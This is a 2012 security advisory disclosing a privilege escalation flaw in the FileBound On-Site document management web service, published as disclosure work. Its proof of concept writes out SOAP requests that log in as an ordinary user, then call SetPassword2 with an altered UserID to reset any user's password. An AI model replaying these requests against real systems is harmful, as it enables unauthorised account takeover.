Sense of Security - Security Advisory - SOS-12-010 Release Date. 10-Oct-2012 Last Update. - Vendor Notification Date. 14-Aug-2012 Product. FileBound On-Site Platform. Windows Affected versions. All versions prior to 6.2 Severity Rating. High Impact. Privilege escalation Attack Vector. From remote with authentication Solution Status. Vendor patch CVE reference. CVE - not yet assigned Details. The FileBound On-Site document management application is vulnerable to a privilege escalation attack by sending a modified password request to the FileBound web service. By modifying the UserID value you can reset the password of any local user in the application without requiring administrative privileges. Proof of Concept. Authenticate to FileBound via the following web service method and SOAP request: http://www.company.com/Filebound.asmx?op=Login <soapenv:Body> <fil:Login> <fil:UserName>sosuser</fil:UserName> <fil:Password>daisyp0p</fil:Password> </fil:Login> </soapenv:Body> After authentication a request can be sent to the following administrator's password reset web service method and SOAP request: http://www.company.com/Filebound.asmx?op=SetPassword2 <soapenv:Body> <fil:SetPassword2> <fil:UserID>32</fil:UserID> <fil:Password>lightsouthern</fil:Password> <fil:ResetPasswordExpires>0</fil:ResetPasswordExpires> </fil:SetPassword2> </soapenv:Body> By modifying the UserID value the password can be reset for any existing user in the system. A response code of -1 confirms the password reset was successful. Solution. Install the latest vendor patch. Discovered by. Nathaniel Carew from Sense of Security Labs. About us. Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations. Sense of Security Pty Ltd Level 8, 66 King St Sydney NSW 2000 AUSTRALIA T: +61 (0)2 9290 4444 F: +61 (0)2 9290 4455 W: http://www.senseofsecurity.com.au/consulting/penetration-testing E: info () senseofsecurity com au Twitter: @ITsecurityAU The latest version of this advisory can be found at: http://www.senseofsecurity.com.au/advisories/SOS-12-010.pdf Other Sense of Security advisories can be found at: http://www.senseofsecurity.com.au/research/it-security-advisories.php